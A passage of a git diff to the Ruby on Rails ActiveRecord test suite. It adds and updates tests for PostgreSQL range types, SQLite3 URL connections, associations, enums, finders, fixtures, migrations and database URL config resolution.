+ assert_equal_round_trip(@new_range, :date_range,
+ Range.new(Date.new(2012, 1, 1), Date.new(2013, 1, 1), true))
+ end
+
+ def test_update_daterange
+ assert_equal_round_trip(@first_range, :date_range,
+ Date.new(2012, 2, 3)...Date.new(2012, 2, 10))
+ assert_nil_round_trip(@first_range, :date_range,
+ Date.new(2012, 2, 3)...Date.new(2012, 2, 3))
+ end
+
+ def test_create_int4range
+ assert_equal_round_trip(@new_range, :int4_range, Range.new(3, 50, true))
+ end
+
+ def test_update_int4range
+ assert_equal_round_trip(@first_range, :int4_range, 6...10)
+ assert_nil_round_trip(@first_range, :int4_range, 3...3)
+ end
+
+ def test_create_int8range
+ assert_equal_round_trip(@new_range, :int8_range, Range.new(30, 50, true))
+ end
+
+ def test_update_int8range
+ assert_equal_round_trip(@first_range, :int8_range, 60000...10000000)
+ assert_nil_round_trip(@first_range, :int8_range, 39999...39999)
+ end
+
+ private
+ def assert_equal_round_trip(range, attribute, value)
+ round_trip(range, attribute, value)
+ assert_equal value, range.public_send(attribute)
+ end
+
+ def assert_nil_round_trip(range, attribute, value)
+ round_trip(range, attribute, value)
+ assert_nil range.public_send(attribute)
+ end
+
+ def round_trip(range, attribute, value)
+ range.public_send "#{attribute}=", value
+ assert range.save
+ assert range.reload
+ end
+
+ def insert_range(values)
+ @connection.execute <<-SQL
+ INSERT INTO postgresql_ranges (
+ id,
+ date_range,
+ num_range,
+ ts_range,
+ tstz_range,
+ int4_range,
+ int8_range
+ ) VALUES (
+ #{values[:id]},
+ '#{values[:date_range]}',
+ '#{values[:num_range]}',
+ '#{values[:ts_range]}',
+ '#{values[:tstz_range]}',
+ '#{values[:int4_range]}',
+ '#{values[:int8_range]}'
+ )
+ SQL
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
index a7b2764fc1..ba89487838 100644
--- a/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/quoting_test.rb
@@ -95,6 +95,13 @@ module ActiveRecord
end
}.new
assert_equal 10, @conn.type_cast(quoted_id_obj, nil)
+
+ quoted_id_obj = Class.new {
+ def quoted_id
+ "'zomg'"
+ end
+ }
+ assert_raise(TypeError) { @conn.type_cast(quoted_id_obj, nil) }
end
end
end
diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
index ce7c869eec..0598ff25f8 100644
--- a/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_adapter_test.rb
@@ -1,6 +1,7 @@
# encoding: utf-8
require "cases/helper"
require 'models/owner'
+require 'tempfile'
module ActiveRecord
module ConnectionAdapters
@@ -25,6 +26,34 @@ module ActiveRecord
ActiveSupport::Notifications.subscribe('sql.active_record', @subscriber)
end
+ def test_bad_connection
+ assert_raise ActiveRecord::NoDatabaseError do
+ connection = ActiveRecord::Base.sqlite3_connection(adapter: "sqlite3", database: "/tmp/should/_not/_exist/-cinco-dog.db")
+ connection.exec_query('drop table if exists ex')
+ end
+ end
+
+ def test_connect_with_url
+ original_connection = ActiveRecord::Base.remove_connection
+ tf = Tempfile.open 'whatever'
+ url = "sqlite3://#{tf.path}"
+ ActiveRecord::Base.establish_connection(url)
+ assert ActiveRecord::Base.connection
+ ensure
+ tf.close
+ tf.unlink
+ ActiveRecord::Base.establish_connection(original_connection)
+ end
+
+ def test_connect_memory_with_url
+ original_connection = ActiveRecord::Base.remove_connection
+ url = "sqlite3:///:memory:"
+ ActiveRecord::Base.establish_connection(url)
+ assert ActiveRecord::Base.connection
+ ensure
+ ActiveRecord::Base.establish_connection(original_connection)
+ end
+
def test_valid_column
column = @conn.columns('items').find { |col| col.name == 'id' }
assert @conn.valid_type?(column.type)
diff --git a/activerecord/test/cases/associations/belongs_to_associations_test.rb b/activerecord/test/cases/associations/belongs_to_associations_test.rb
index 7c913bc78b..3205d0c28b 100644
--- a/activerecord/test/cases/associations/belongs_to_associations_test.rb
+++ b/activerecord/test/cases/associations/belongs_to_associations_test.rb
@@ -356,6 +356,14 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_queries(2) { line_item.destroy }
end
+ def test_belongs_to_with_touch_option_on_destroy_with_destroyed_parent
+ line_item = LineItem.create!
+ invoice = Invoice.create!(line_items: [line_item])
+ invoice.destroy
+
+ assert_queries(1) { line_item.destroy }
+ end
+
def test_belongs_to_with_touch_option_on_touch_and_reassigned_parent
line_item = LineItem.create!
Invoice.create!(line_items: [line_item])
@@ -578,6 +586,19 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
assert_nil essay.writer_id
end
+ def test_polymorphic_assignment_with_nil
+ essay = Essay.new
+ assert_nil essay.writer_id
+ assert_nil essay.writer_type
+
+ essay.writer_id = 1
+ essay.writer_type = 'Author'
+
+ essay.writer = nil
+ assert_nil essay.writer_id
+ assert_nil essay.writer_type
+ end
+
def test_belongs_to_proxy_should_not_respond_to_private_methods
assert_raise(NoMethodError) { companies(:first_firm).private_method }
assert_raise(NoMethodError) { companies(:second_client).firm.private_method }
diff --git a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
index 811d91f849..71c0609df5 100644
--- a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
+++ b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
@@ -174,4 +174,15 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
sink = Vertex.all.merge!(:includes=>{:sources=>{:sources=>{:sources=>:sources}}}, :order => 'vertices.id DESC').first
assert_equal vertices(:vertex_1), assert_no_queries { sink.sources.first.sources.first.sources.first.sources.first }
end
+
+ def test_eager_association_loading_with_cascaded_interdependent_one_level_and_two_levels
+ authors_relation = Author.all.merge!(includes: [:comments, { posts: :categorizations }], order: "authors.id")
+ authors = authors_relation.to_a
+ assert_equal 3, authors.size
+ assert_equal 10, authors[0].comments.size
+ assert_equal 1, authors[1].comments.size
+ assert_equal 5, authors[0].posts.size
+ assert_equal 3, authors[1].posts.size
+ assert_equal 3, authors[0].posts.collect { |post| post.categorizations.size }.inject(0) { |sum, i| sum+i }
+ end
end
diff --git a/activerecord/test/cases/associations/extension_test.rb b/activerecord/test/cases/associations/extension_test.rb
index f8f2832ab1..4c1fdfdd9a 100644
--- a/activerecord/test/cases/associations/extension_test.rb
+++ b/activerecord/test/cases/associations/extension_test.rb
@@ -75,6 +75,7 @@ class AssociationsExtensionsTest < ActiveRecord::TestCase
private
def extend!(model)
- ActiveRecord::Associations::Builder::HasMany.define_extensions(model, :association_name) { }
+ builder = ActiveRecord::Associations::Builder::HasMany.new(model, :association_name, nil, {}) { }
+ builder.define_extensions(model)
end
end
diff --git a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
index be928ec8ee..8aee7ff40e 100644
--- a/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_and_belongs_to_many_associations_test.rb
@@ -570,6 +570,13 @@ class HasAndBelongsToManyAssociationsTest < ActiveRecord::TestCase
assert !developer.special_projects.include?(other_project)
end
+ def test_symbol_join_table
+ developer = Developer.first
+ sp = developer.sym_special_projects.create("name" => "omg")
+ developer.reload
+ assert_includes developer.sym_special_projects, sp
+ end
+
def test_update_attributes_after_push_without_duplicate_join_table_rows
developer = Developer.new("name" => "Kano")
project = SpecialProject.create("name" => "Special Project")
diff --git a/activerecord/test/cases/associations/has_many_associations_test.rb b/activerecord/test/cases/associations/has_many_associations_test.rb
index bfb80afa61..e45efb0161 100644
--- a/activerecord/test/cases/associations/has_many_associations_test.rb
+++ b/activerecord/test/cases/associations/has_many_associations_test.rb
@@ -318,9 +318,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
def test_belongs_to_sanity
c = Client.new
- assert_nil c.firm
-
- flunk "belongs_to failed if check" if c.firm
+ assert_nil c.firm, "belongs_to failed sanity check on new object"
end
def test_find_ids
@@ -457,7 +455,11 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
end
def test_select_query_method
- assert_equal ['id'], posts(:welcome).comments.select(:id).first.attributes.keys
+ assert_equal ['id', 'body'], posts(:welcome).comments.select(:id, :body).first.attributes.keys
+ end
+
+ def test_select_with_block
+ assert_equal [1], posts(:welcome).comments.select { |c| c.id == 1 }.map(&:id)
end
def test_select_without_foreign_key
@@ -1781,12 +1783,12 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
assert_equal [original_child], car.reload.failed_bulbs
end
-
+
test 'updates counter cache when default scope is given' do
topic = DefaultRejectedTopic.create approved: true
assert_difference "topic.reload.replies_count", 1 do
topic.approved_replies.create!
end
- end
+ end
end
diff --git a/activerecord/test/cases/associations/inner_join_association_test.rb b/activerecord/test/cases/associations/inner_join_association_test.rb
index dffee42e7d..a9efa6d86a 100644
--- a/activerecord/test/cases/associations/inner_join_association_test.rb
+++ b/activerecord/test/cases/associations/inner_join_association_test.rb
@@ -42,7 +42,7 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
end
def test_join_association_conditions_support_string_and_arel_expressions
- assert_equal 0, Author.joins(:welcome_posts_with_comment).count
+ assert_equal 0, Author.joins(:welcome_posts_with_one_comment).count
assert_equal 1, Author.joins(:welcome_posts_with_comments).count
end
diff --git a/activerecord/test/cases/attribute_methods_test.rb b/activerecord/test/cases/attribute_methods_test.rb
index 9c66ed354e..6c581a432f 100644
--- a/activerecord/test/cases/attribute_methods_test.rb
+++ b/activerecord/test/cases/attribute_methods_test.rb
@@ -767,8 +767,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
# that by defining a 'foo' method in the generated methods module for B.
# (That module will be inserted between the two, e.g. [B, <GeneratedAttributes>, A].)
def test_inherited_custom_accessors
- klass = Class.new(ActiveRecord::Base) do
- self.table_name = "topics"
+ klass = new_topic_like_ar_class do
self.abstract_class = true
def title; "omg"; end
def title=(val); self.author_name = val; end
@@ -783,8 +782,40 @@ class AttributeMethodsTest < ActiveRecord::TestCase
assert_equal "lol", topic.author_name
end
+ def test_on_the_fly_super_invokable_generated_attribute_methods_via_method_missing
+ klass = new_topic_like_ar_class do
+ def title
+ super + '!'
+ end
+ end
+
+ real_topic = topics(:first)
+ assert_equal real_topic.title + '!', klass.find(real_topic.id).title
+ end
+
+ def test_on_the_fly_super_invokable_generated_predicate_attribute_methods_via_method_missing
+ klass = new_topic_like_ar_class do
+ def title?
+ !super
+ end
+ end
+
+ real_topic = topics(:first)
+ assert_equal !real_topic.title?, klass.find(real_topic.id).title?
+ end
+
private
+ def new_topic_like_ar_class(&block)
+ klass = Class.new(ActiveRecord::Base) do
+ self.table_name = 'topics'
+ class_eval(&block)
+ end
+
+ assert_empty klass.generated_attribute_methods.instance_methods(false)
+ klass
+ end
+
def cached_columns
Topic.columns.map(&:name) - Topic.serialized_attributes.keys
end
diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb
index cde188f6c3..cb8e564da1 100644
--- a/activerecord/test/cases/base_test.rb
+++ b/activerecord/test/cases/base_test.rb
@@ -121,6 +121,10 @@ class BasicsTest < ActiveRecord::TestCase
assert_equal 1, Topic.limit(1).to_a.length
end
+ def test_limit_should_take_value_from_latest_limit
+ assert_equal 1, Topic.limit(2).limit(1).to_a.length
+ end
+
def test_invalid_limit
assert_raises(ArgumentError) do
Topic.limit("asdfadf").to_a
diff --git a/activerecord/test/cases/calculations_test.rb b/activerecord/test/cases/calculations_test.rb
index 2c41656b3d..2f6913167d 100644
--- a/activerecord/test/cases/calculations_test.rb
+++ b/activerecord/test/cases/calculations_test.rb
@@ -211,6 +211,10 @@ class CalculationsTest < ActiveRecord::TestCase
assert_equal 19.83, NumericData.sum(:bank_balance)
end
+ def test_should_return_type_casted_values_with_group_and_expression
+ assert_equal 0.5, Account.group(:firm_name).sum('0.01 * credit_limit')['37signals']
+ end
+
def test_should_group_by_summed_field_with_conditions
c = Account.where('firm_id > 1').group(:firm_id).sum(:credit_limit)
assert_nil c[1]
diff --git a/activerecord/test/cases/connection_adapters/connection_handler_test.rb b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
index 3e33b30144..318cc5a32c 100644
--- a/activerecord/test/cases/connection_adapters/connection_handler_test.rb
+++ b/activerecord/test/cases/connection_adapters/connection_handler_test.rb
@@ -2,6 +2,133 @@ require "cases/helper"
module ActiveRecord
module ConnectionAdapters
+
+ class MergeAndResolveDefaultUrlConfigTest < ActiveRecord::TestCase
+
+ def klass
+ ActiveRecord::ConnectionHandling::MergeAndResolveDefaultUrlConfig
+ end
+
+ def setup
+ @previous_database_url = ENV.delete("DATABASE_URL")
+ end
+
+ def teardown
+ ENV["DATABASE_URL"] = @previous_database_url
+ end
+
+ def test_string_connection
+ config = { "production" => "postgres://localhost/foo" }
+ actual = klass.new(config).resolve
+ expected = { "production" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost"
+ }
+ }
+ assert_equal expected, actual
+ end
+
+ def test_url_sub_key
+ config = { "production" => { "url" => "postgres://localhost/foo" } }
+ actual = klass.new(config).resolve
+ expected = { "production" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost"
+ }
+ }
+ assert_equal expected, actual
+ end
+
+ def test_hash
+ config = { "production" => { "adapter" => "postgres", "database" => "foo" } }
+ actual = klass.new(config).resolve
+ assert_equal config, actual
+ end
+
+ def test_blank
+ config = {}
+ actual = klass.new(config).resolve
+ assert_equal config, actual
+ end
+
+ def test_blank_with_database_url
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+ config = {}
+ actual = klass.new(config).resolve
+ expected = { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost" }
+ assert_equal expected, actual["production"]
+ assert_equal expected, actual["development"]
+ assert_equal expected, actual["test"]
+ assert_equal nil, actual[:production]
+ assert_equal nil, actual[:development]
+ assert_equal nil, actual[:test]
+ end
+
+ def test_sting_with_database_url
+ ENV['DATABASE_URL'] = "NOT-POSTGRES://localhost/NOT_FOO"
+
+ config = { "production" => "postgres://localhost/foo" }
+ actual = klass.new(config).resolve
+
+ expected = { "production" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost"
+ }
+ }
+ assert_equal expected, actual
+ end
+
+ def test_url_sub_key_with_database_url
+ ENV['DATABASE_URL'] = "NOT-POSTGRES://localhost/NOT_FOO"
+
+ config = { "production" => { "url" => "postgres://localhost/foo" } }
+ actual = klass.new(config).resolve
+ expected = { "production" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost"
+ }
+ }
+ assert_equal expected, actual
+ end
+
+ def test_merge_no_conflicts_with_database_url
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+ config = {"production" => { "pool" => "5" } }
+ actual = klass.new(config).resolve
+ expected = { "production" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost",
+ "pool" => "5"
+ }
+ }
+ assert_equal expected, actual
+ end
+
+ def test_merge_conflicts_with_database_url
+ ENV['DATABASE_URL'] = "postgres://localhost/foo"
+
+ config = {"production" => { "adapter" => "NOT-POSTGRES", "database" => "NOT-FOO", "pool" => "5" } }
+ actual = klass.new(config).resolve
+ expected = { "production" =>
+ { "adapter" => "postgresql",
+ "database" => "foo",
+ "host" => "localhost",
+ "pool" => "5"
+ }
+ }
+ assert_equal expected, actual
+ end
+ end
+
class ConnectionHandlerTest < ActiveRecord::TestCase
def setup
@klass = Class.new(Base) { def self.name; 'klass'; end }
diff --git a/activerecord/test/cases/connection_specification/resolver_test.rb b/activerecord/test/cases/connection_specification/resolver_test.rb
index c8dfc3244b..fdd1914cba 100644
--- a/activerecord/test/cases/connection_specification/resolver_test.rb
+++ b/activerecord/test/cases/connection_specification/resolver_test.rb
@@ -4,58 +4,92 @@ module ActiveRecord
module ConnectionAdapters
class ConnectionSpecification
class ResolverTest < ActiveRecord::TestCase
- def resolve(spec)
- Resolver.new(spec, {}).spec.config
+ def resolve(spec, config={})
+ Resolver.new(config).resolve(spec)
+ end
+
+ def spec(spec, config={})
+ Resolver.new(config).spec(spec)
end
def test_url_invalid_adapter
- assert_raises(LoadError) do
- resolve 'ridiculous://foo?encoding=utf8'
+ error = assert_raises(LoadError) do
+ spec 'ridiculous://foo?encoding=utf8'
end
+
+ assert_match "Could not load 'active_record/connection_adapters/ridiculous_adapter'", error.message
end
# The abstract adapter is used simply to bypass the bit of code that
# checks that the adapter file can be required in.
+ def test_url_from_environment
+ spec = resolve :production, 'production' => 'abstract://foo?encoding=utf8'
+ assert_equal({
+ "adapter" => "abstract",
+ "host" => "foo",
+ "encoding" => "utf8" }, spec)
+ end
+
+ def test_url_sub_key
+ spec = resolve :production, 'production' => {"url" => 'abstract://foo?encoding=utf8'}
+ assert_equal({
+ "adapter" => "abstract",
+ "host" => "foo",
+ "encoding" => "utf8" }, spec)
+ end
+
+ def test_url_sub_key_merges_correctly
+ hash = {"url" => 'abstract://foo?encoding=utf8&', "adapter" => "sqlite3", "host" => "bar", "pool" => "3"}
+ spec = resolve :production, 'production' => hash
+ assert_equal({
+ "adapter" => "abstract",
+ "host" => "foo",
+ "encoding" => "utf8",
+ "pool" => "3" }, spec)
+ end
+
def test_url_host_no_db
spec = resolve 'abstract://foo?encoding=utf8'
assert_equal({
- adapter: "abstract",
- host: "foo",
- encoding: "utf8" }, spec)
+ "adapter" => "abstract",
+ "host" => "foo",
+ "encoding" => "utf8" }, spec)
end
def test_url_host_db
spec = resolve 'abstract://foo/bar?encoding=utf8'
assert_equal({
- adapter: "abstract",
- database: "bar",
- host: "foo",
- encoding: "utf8" }, spec)
+ "adapter" => "abstract",
+ "database" => "bar",
+ "host" => "foo",
+ "encoding" => "utf8" }, spec)
end
def test_url_port
spec = resolve 'abstract://foo:123?encoding=utf8'
assert_equal({
- adapter: "abstract",
- port: 123,
- host: "foo",
- encoding: "utf8" }, spec)
+ "adapter" => "abstract",
+ "port" => 123,
+ "host" => "foo",
+ "encoding" => "utf8" }, spec)
end
def test_encoded_password
password = 'am@z1ng_p@ssw0rd#!'
encoded_password = URI.encode_www_form_component(password)
spec = resolve "abstract://foo:#{encoded_password}@localhost/bar"
- assert_equal password, spec[:password]
+ assert_equal password, spec["password"]
end
- def test_descriptive_error_message_when_adapter_is_missing
- error = assert_raise(LoadError) do
- resolve(adapter: 'non-existing')
- end
+ def test_url_host_db_for_sqlite3
+ spec = resolve 'sqlite3://foo:bar@dburl:9000/foo_test'
+ assert_equal('/foo_test', spec["database"])
+ end
- assert_match "Could not load 'active_record/connection_adapters/non-existing_adapter'", error.message
+ def test_url_host_memory_db_for_sqlite3
+ spec = resolve 'sqlite3://foo:bar@dburl:9000/:memory:'
+ assert_equal(':memory:', spec["database"])
end
end
end
diff --git a/activerecord/test/cases/dirty_test.rb b/activerecord/test/cases/dirty_test.rb
index 9d7f57bf85..df4183c065 100644
--- a/activerecord/test/cases/dirty_test.rb
+++ b/activerecord/test/cases/dirty_test.rb
@@ -584,6 +584,14 @@ class DirtyTest < ActiveRecord::TestCase
end
end
+ def test_datetime_attribute_doesnt_change_if_zone_is_modified_in_string
+ time_in_paris = Time.utc(2014, 1, 1, 12, 0, 0).in_time_zone('Paris')
+ pirate = Pirate.create!(:catchphrase => 'rrrr', :created_on => time_in_paris)
+
+ pirate.created_on = pirate.created_on.in_time_zone('Tokyo').to_s
+ assert !pirate.created_on_changed?
+ end
+
test "partial insert" do
with_partial_writes Person do
jon = nil
diff --git a/activerecord/test/cases/enum_test.rb b/activerecord/test/cases/enum_test.rb
index 35e8a98156..c09e58fbf1 100644
--- a/activerecord/test/cases/enum_test.rb
+++ b/activerecord/test/cases/enum_test.rb
@@ -16,7 +16,7 @@ class EnumTest < ActiveRecord::TestCase
assert @book.unread?
end
- test "query state with symbol" do
+ test "query state with strings" do
assert_equal "proposed", @book.status
assert_equal "unread", @book.read_status
end
@@ -58,9 +58,34 @@ class EnumTest < ActiveRecord::TestCase
assert_equal "'unknown' is not a valid status", e.message
end
+ test "assign nil value" do
+ @book.status = nil
+ assert @book.status.nil?
+ end
+
+ test "assign empty string value" do
+ @book.status = ''
+ assert @book.status.nil?
+ end
+
+ test "assign long empty string value" do
+ @book.status = ' '
+ assert @book.status.nil?
+ end
+
test "constant to access the mapping" do
assert_equal 0, Book::STATUS[:proposed]
assert_equal 1, Book::STATUS["written"]
assert_equal 2, Book::STATUS[:published]
end
+
+ test "building new objects with enum scopes" do
+ assert Book.written.build.written?
+ assert Book.read.build.read?
+ end
+
+ test "creating new objects with enum scopes" do
+ assert Book.written.create.written?
+ assert Book.read.create.read?
+ end
end
diff --git a/activerecord/test/cases/finder_test.rb b/activerecord/test/cases/finder_test.rb
index 735f804184..5125d5df2a 100644
--- a/activerecord/test/cases/finder_test.rb
+++ b/activerecord/test/cases/finder_test.rb
@@ -12,6 +12,7 @@ require 'models/developer'
require 'models/customer'
require 'models/toy'
require 'models/matey'
+require 'models/dog'
class FinderTest < ActiveRecord::TestCase
fixtures :companies, :topics, :entrants, :developers, :developers_projects, :posts, :comments, :accounts, :authors, :customers, :categories, :categorizations
@@ -641,6 +642,13 @@ class FinderTest < ActiveRecord::TestCase
assert_raise(ActiveRecord::RecordNotFound) { Topic.find_by_title!("The First Topic!") }
end
+ def test_find_by_on_attribute_that_is_a_reserved_word
+ dog_alias = 'Dog'
+ dog = Dog.create(alias: dog_alias)
+
+ assert_equal dog, Dog.find_by_alias(dog_alias)
+ end
+
def test_find_by_one_attribute_that_is_an_alias
assert_equal topics(:first), Topic.find_by_heading("The First Topic")
assert_nil Topic.find_by_heading("The First Topic!")
@@ -720,6 +728,15 @@ class FinderTest < ActiveRecord::TestCase
assert_raise(ArgumentError) { Topic.find_by_title_and_author_name("The First Topic") }
end
+ def test_find_last_with_offset
+ devs = Developer.order('id')
+
+ assert_equal devs[2], Developer.offset(2).first
+ assert_equal devs[-3], Developer.offset(2).last
+ assert_equal devs[-3], Developer.offset(2).last
+ assert_equal devs[-3], Developer.offset(2).order('id DESC').first
+ end
+
def test_find_by_nil_attribute
topic = Topic.find_by_last_read nil
assert_not_nil topic
@@ -837,10 +854,8 @@ class FinderTest < ActiveRecord::TestCase
end
def test_with_limiting_with_custom_select
- skip 'broken test' if current_adapter?(:MysqlAdapter)
-
posts = Post.references(:authors).merge(
- :includes => :author, :select => ' posts.*, authors.id as "author_id"',
+ :includes => :author, :select => 'posts.*, authors.id as "author_id"',
:limit => 3, :order => 'posts.id'
).to_a
assert_equal 3, posts.size
diff --git a/activerecord/test/cases/fixture_set/file_test.rb b/activerecord/test/cases/fixture_set/file_test.rb
index a029fedbd3..92efa8aca7 100644
--- a/activerecord/test/cases/fixture_set/file_test.rb
+++ b/activerecord/test/cases/fixture_set/file_test.rb
@@ -68,6 +68,61 @@ module ActiveRecord
end
end
+ def test_render_context_helper
+ ActiveRecord::FixtureSet.context_class.class_eval do
+ def fixture_helper
+ "Fixture helper"
+ end
+ end
+ yaml = "one:\n name: <%= fixture_helper %>\n"
+ tmp_yaml ['curious', 'yml'], yaml do |t|
+ golden =
+ [["one", {"name" => "Fixture helper"}]]
+ assert_equal golden, File.open(t.path) { |fh| fh.to_a }
+ end
+ ActiveRecord::FixtureSet.context_class.class_eval do
+ remove_method :fixture_helper
+ end
+ end
+
+ def test_render_context_lookup_scope
+ yaml = <<END
+one:
+ ActiveRecord: <%= defined? ActiveRecord %>
+ ActiveRecord_FixtureSet: <%= defined? ActiveRecord::FixtureSet %>
+ FixtureSet: <%= defined? FixtureSet %>
+ ActiveRecord_FixtureSet_File: <%= defined? ActiveRecord::FixtureSet::File %>
+ File: <%= File.name %>
+END
+
+ golden = [['one', {
+ 'ActiveRecord' => 'constant',
+ 'ActiveRecord_FixtureSet' => 'constant',
+ 'FixtureSet' => nil,
+ 'ActiveRecord_FixtureSet_File' => 'constant',
+ 'File' => 'File'
+ }]]
+
+ tmp_yaml ['curious', 'yml'], yaml do |t|
+ assert_equal golden, File.open(t.path) { |fh| fh.to_a }
+ end
+ end
+
+ # Make sure that each fixture gets its own rendering context so that
+ # fixtures are independent.
+ def test_independent_render_contexts
+ yaml1 = "<% def leaked_method; 'leak'; end %>\n"
+ yaml2 = "one:\n name: <%= leaked_method %>\n"
+ tmp_yaml ['leaky', 'yml'], yaml1 do |t1|
+ tmp_yaml ['curious', 'yml'], yaml2 do |t2|
+ File.open(t1.path) { |fh| fh.to_a }
+ assert_raises(NameError) do
+ File.open(t2.path) { |fh| fh.to_a }
+ end
+ end
+ end
+ end
+
private
def tmp_yaml(name, contents)
t = Tempfile.new name
diff --git a/activerecord/test/cases/helper.rb b/activerecord/test/cases/helper.rb
index 34e8f1be0f..3758224b0c 100644
--- a/activerecord/test/cases/helper.rb
+++ b/activerecord/test/cases/helper.rb
@@ -20,6 +20,9 @@ Thread.abort_on_exception = true
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
# Connect to the database
ARTest.connect
@@ -149,23 +152,6 @@ end
load_schema
-class << Time
- unless method_defined? :now_before_time_travel
- alias_method :now_before_time_travel, :now
- end
-
- def now
- (@now ||= nil) || now_before_time_travel
- end
-
- def travel_to(time, &block)
- @now = time
- block.call
- ensure
- @now = nil
- end
-end
-
class SQLSubscriber
attr_reader :logged
attr_reader :payloads
@@ -183,7 +169,6 @@ class SQLSubscriber
def finish(name, id, payload); end
end
-
module InTimeZone
private
diff --git a/activerecord/test/cases/inheritance_test.rb b/activerecord/test/cases/inheritance_test.rb
index 73cf99a5d7..cb0d374ef7 100644
--- a/activerecord/test/cases/inheritance_test.rb
+++ b/activerecord/test/cases/inheritance_test.rb
@@ -176,14 +176,14 @@ class InheritanceTest < ActiveRecord::TestCase
e = assert_raises(NotImplementedError) do
AbstractCompany.new
end
- assert_equal("AbstractCompany is an abstract class and can not be instantiated.", e.message)
+ assert_equal("AbstractCompany is an abstract class and cannot be instantiated.", e.message)
end
def test_new_with_ar_base
e = assert_raises(NotImplementedError) do
ActiveRecord::Base.new
end
- assert_equal("ActiveRecord::Base is an abstract class and can not be instantiated.", e.message)
+ assert_equal("ActiveRecord::Base is an abstract class and cannot be instantiated.", e.message)
end
def test_new_with_invalid_type
diff --git a/activerecord/test/cases/integration_test.rb b/activerecord/test/cases/integration_test.rb
index 07ffcef875..2e71b1a40d 100644
--- a/activerecord/test/cases/integration_test.rb
+++ b/activerecord/test/cases/integration_test.rb
@@ -1,3 +1,5 @@
+# encoding: utf-8
+
require 'cases/helper'
require 'models/company'
require 'models/developer'
@@ -46,6 +48,12 @@ class IntegrationTest < ActiveRecord::TestCase
assert_equal '4-ab-ab-ab-ab-ab-ab', firm.to_param
end
+ def test_to_param_class_method_multibyte_character
+ firm = Firm.find(4)
+ firm.name = "戦場ヶ原 ひたぎ"
+ assert_equal '4', firm.to_param
+ end
+
def test_to_param_class_method_uses_default_if_blank
firm = Firm.find(4)
firm.name = nil
diff --git a/activerecord/test/cases/migration/change_schema_test.rb b/activerecord/test/cases/migration/change_schema_test.rb
index e43e256d24..294f2eb9fe 100644
--- a/activerecord/test/cases/migration/change_schema_test.rb
+++ b/activerecord/test/cases/migration/change_schema_test.rb
@@ -308,6 +308,22 @@ module ActiveRecord
assert_equal 2000, connection.select_values("SELECT money FROM testings").first.to_i
end
+ def test_change_column_null
+ testing_table_with_only_foo_attribute do
+ notnull_migration = Class.new(ActiveRecord::Migration) do
+ def change
+ change_column_null :testings, :foo, false
+ end
+ end
+ notnull_migration.new.suppress_messages do
+ notnull_migration.migrate(:up)
+ assert_equal false, connection.columns(:testings).find{ |c| c.name == "foo"}.null
+ notnull_migration.migrate(:down)
+ assert connection.columns(:testings).find{ |c| c.name == "foo"}.null
+ end
+ end
+ end
+
def test_column_exists
connection.create_table :testings do |t|
t.column :foo, :string
diff --git a/activerecord/test/cases/migration/change_table_test.rb b/activerecord/test/cases/migration/change_table_test.rb
index 8065541bfe..c1d7cd5874 100644
--- a/activerecord/test/cases/migration/change_table_test.rb
+++ b/activerecord/test/cases/migration/change_table_test.rb
@@ -5,7 +5,7 @@ module ActiveRecord
class Migration
class TableTest < ActiveRecord::TestCase
def setup
- @connection = MiniTest::Mock.new
+ @connection = Minitest::Mock.new
end
def teardown
diff --git a/activerecord/test/cases/migration/command_recorder_test.rb b/activerecord/test/cases/migration/command_recorder_test.rb
index 1b205d372f..35b656ee43 100644
--- a/activerecord/test/cases/migration/command_recorder_test.rb
+++ b/activerecord/test/cases/migration/command_recorder_test.rb
@@ -4,7 +4,8 @@ module ActiveRecord
class Migration
class CommandRecorderTest < ActiveRecord::TestCase
def setup
- @recorder = CommandRecorder.new
+ connection = ActiveRecord::Base.connection
+ @recorder = CommandRecorder.new(connection)
end
def test_respond_to_delegates
diff --git a/activerecord/test/cases/migration_test.rb b/activerecord/test/cases/migration_test.rb
index 7c3988859f..0363bf1048 100644
--- a/activerecord/test/cases/migration_test.rb
+++ b/activerecord/test/cases/migration_test.rb
@@ -79,6 +79,10 @@ class MigrationTest < ActiveRecord::TestCase
ActiveRecord::Migrator.migrations_paths = old_path
end
+ def test_migration_version
+ ActiveRecord::Migrator.run(:up, MIGRATIONS_ROOT + "/version_check", 20131219224947)
+ end
+
def test_create_table_with_force_true_does_not_drop_nonexisting_table
if Person.connection.table_exists?(:testings2)
Person.connection.drop_table :testings2
